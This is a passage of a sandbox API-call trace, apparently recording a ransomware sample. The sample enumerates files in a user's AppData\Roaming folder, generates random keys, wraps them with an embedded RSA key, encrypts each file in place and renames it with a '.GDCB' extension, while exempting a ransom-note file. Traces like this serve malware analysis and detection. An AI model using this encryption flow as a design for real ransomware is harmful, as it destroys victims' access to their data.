dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.639] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.639] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.642] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589020) returned 1 [0053.642] CryptGetKeyParam (in: hKey=0x589020, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.642] CryptEncrypt (in: hKey=0x589020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.642] GetLastError () returned 0x0 [0053.642] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.642] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58ff08) returned 1 [0053.644] CryptImportKey (in: hProv=0x58ff08, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5892a0) returned 1 [0053.644] CryptGetKeyParam (in: hKey=0x5892a0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.644] CryptEncrypt (in: hKey=0x5892a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.644] GetLastError () returned 0x0 [0053.644] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.644] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jxoh-eft2nw-t9x.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.645] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.645] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.645] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x6765, lpOverlapped=0x0) returned 1 [0053.651] VirtualAlloc (lpAddress=0x0, dwSize=0x6770, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.651] VirtualAlloc (lpAddress=0x0, dwSize=0x6770, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.652] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.652] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-26469, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.652] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0x6770, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0x6770, lpOverlapped=0x0) returned 1 [0053.652] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.653] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.657] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.657] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.657] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.657] CloseHandle (hObject=0x4f4) returned 1 [0053.658] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.658] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.658] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.658] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jxoh-eft2nw-t9x.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\jxoh-EFt2nW-t9X.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\jxoh-eft2nw-t9x.wav.gdcb")) returned 1 [0053.659] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.659] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.659] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.659] lstrcmpW (lpString1="ldeazaydq H9.jpg", lpString2=".") returned 1 [0053.659] lstrcmpW (lpString1="ldeazaydq H9.jpg", lpString2="..") returned 1 [0053.659] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="ldeazaydq H9.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg" [0053.659] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.659] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg") returned 54 [0053.659] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg") returned 54 [0053.659] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg") returned 54 [0053.659] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg") returned 54 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="desktop.ini") returned 1 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="autorun.inf") returned 1 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="ntuser.dat") returned -1 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="iconcache.db") returned 1 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="bootsect.bak") returned 1 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="boot.ini") returned 1 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="ntuser.dat.log") returned -1 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="thumbs.db") returned -1 [0053.659] lstrcmpiW (lpString1="ldeazaydq H9.jpg", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.659] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ldeazaydq h9.jpg")) returned 0x20 [0053.660] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg", dwFileAttributes=0x20) returned 1 [0053.660] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.660] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg" [0053.660] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB" [0053.660] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x5902c0) returned 1 [0053.660] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.661] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.661] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.661] CryptGenRandom (in: hProv=0x5902c0, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.661] CryptReleaseContext (hProv=0x5902c0, dwFlags=0x0) returned 1 [0053.661] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.661] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.661] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.661] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.662] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.662] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.662] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.662] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.662] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.662] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.662] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.664] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589220) returned 1 [0053.664] CryptGetKeyParam (in: hKey=0x589220, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.664] CryptEncrypt (in: hKey=0x589220, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.665] GetLastError () returned 0x0 [0053.665] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.665] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.667] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x589060) returned 1 [0053.667] CryptGetKeyParam (in: hKey=0x589060, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.667] CryptEncrypt (in: hKey=0x589060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.667] GetLastError () returned 0x0 [0053.667] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.667] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ldeazaydq h9.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.667] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.667] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.667] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0x10b49, lpOverlapped=0x0) returned 1 [0053.672] VirtualAlloc (lpAddress=0x0, dwSize=0x10b50, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.672] VirtualAlloc (lpAddress=0x0, dwSize=0x10b50, flAllocationType=0x3000, flProtect=0x4) returned 0x29d0000 [0053.674] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.674] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-68425, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.674] WriteFile (in: hFile=0x4f4, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x10b50, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285f240*=0x10b50, lpOverlapped=0x0) returned 1 [0053.674] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.675] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.678] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.678] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.678] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.678] CloseHandle (hObject=0x4f4) returned 1 [0053.679] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.679] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.679] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.680] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ldeazaydq h9.jpg"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\ldeazaydq H9.jpg.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\ldeazaydq h9.jpg.gdcb")) returned 1 [0053.680] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.680] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.680] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.680] lstrcmpW (lpString1="LSI0fbp1d3.flv", lpString2=".") returned 1 [0053.681] lstrcmpW (lpString1="LSI0fbp1d3.flv", lpString2="..") returned 1 [0053.681] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="LSI0fbp1d3.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv" [0053.681] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.681] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv") returned 52 [0053.681] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv") returned 52 [0053.681] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv") returned 52 [0053.681] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv") returned 52 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="desktop.ini") returned 1 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="autorun.inf") returned 1 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="ntuser.dat") returned -1 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="iconcache.db") returned 1 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="bootsect.bak") returned 1 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="boot.ini") returned 1 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="ntuser.dat.log") returned -1 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="thumbs.db") returned -1 [0053.681] lstrcmpiW (lpString1="LSI0fbp1d3.flv", lpString2="GDCB-DECRYPT.txt") returned 1 [0053.681] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lsi0fbp1d3.flv")) returned 0x20 [0053.681] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv", dwFileAttributes=0x20) returned 1 [0053.681] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x2860000 [0053.681] lstrcpyW (in: lpString1=0x2860000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv" [0053.681] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv", lpString2=".GDCB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB" [0053.681] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58fc60) returned 1 [0053.682] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.682] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.682] CryptGenRandom (in: hProv=0x58fc60, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0053.682] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.682] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.682] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x58ff08) returned 1 [0053.683] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2870000 [0053.684] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x75d40000 [0053.684] GetProcAddress (hModule=0x75d40000, lpProcName="CryptGenRandom") returned 0x75d60df0 [0053.684] CryptGenRandom (in: hProv=0x58ff08, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0053.684] CryptReleaseContext (hProv=0x58ff08, dwFlags=0x0) returned 1 [0053.684] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.684] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2870000 [0053.684] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2880000 [0053.684] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.686] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5890a0) returned 1 [0053.686] CryptGetKeyParam (in: hKey=0x5890a0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.686] CryptEncrypt (in: hKey=0x5890a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0053.686] GetLastError () returned 0x0 [0053.686] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.686] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x58fc60) returned 1 [0053.688] CryptImportKey (in: hProv=0x58fc60, pbData=0x9a0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x5890e0) returned 1 [0053.688] CryptGetKeyParam (in: hKey=0x5890e0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0053.688] CryptEncrypt (in: hKey=0x5890e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0053.688] GetLastError () returned 0x0 [0053.688] CryptReleaseContext (hProv=0x58fc60, dwFlags=0x0) returned 1 [0053.688] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lsi0fbp1d3.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f4 [0053.689] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0053.689] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0053.689] ReadFile (in: hFile=0x4f4, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f248*=0xdd64, lpOverlapped=0x0) returned 1 [0053.693] VirtualAlloc (lpAddress=0x0, dwSize=0xdd70, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0053.694] VirtualAlloc (lpAddress=0x0, dwSize=0xdd70, flAllocationType=0x3000, flProtect=0x4) returned 0x29c0000 [0053.694] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.695] SetFilePointer (in: hFile=0x4f4, lDistanceToMove=-56676, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0053.695] WriteFile (in: hFile=0x4f4, lpBuffer=0x29c0000*, nNumberOfBytesToWrite=0xdd70, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x29c0000*, lpNumberOfBytesWritten=0x285f240*=0xdd70, lpOverlapped=0x0) returned 1 [0053.695] VirtualFree (lpAddress=0x29c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.695] VirtualFree (lpAddress=0x28a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.699] WriteFile (in: hFile=0x4f4, lpBuffer=0x2870000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2870000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.699] WriteFile (in: hFile=0x4f4, lpBuffer=0x2880000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2880000*, lpNumberOfBytesWritten=0x285f240*=0x100, lpOverlapped=0x0) returned 1 [0053.699] WriteFile (in: hFile=0x4f4, lpBuffer=0x2890000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285f240, lpOverlapped=0x0 | out: lpBuffer=0x2890000*, lpNumberOfBytesWritten=0x285f240*=0x10, lpOverlapped=0x0) returned 1 [0053.699] CloseHandle (hObject=0x4f4) returned 1 [0053.700] VirtualFree (lpAddress=0x2890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.700] VirtualFree (lpAddress=0x2870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.701] VirtualFree (lpAddress=0x2880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.701] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lsi0fbp1d3.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\LSI0fbp1d3.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\lsi0fbp1d3.flv.gdcb")) returned 1 [0053.701] VirtualFree (lpAddress=0x2860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.701] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.702] FindNextFileW (in: hFindFile=0x588aa0, lpFindFileData=0x285f2a0 | out: lpFindFileData=0x285f2a0) returned 1 [0053.702] lstrcmpW 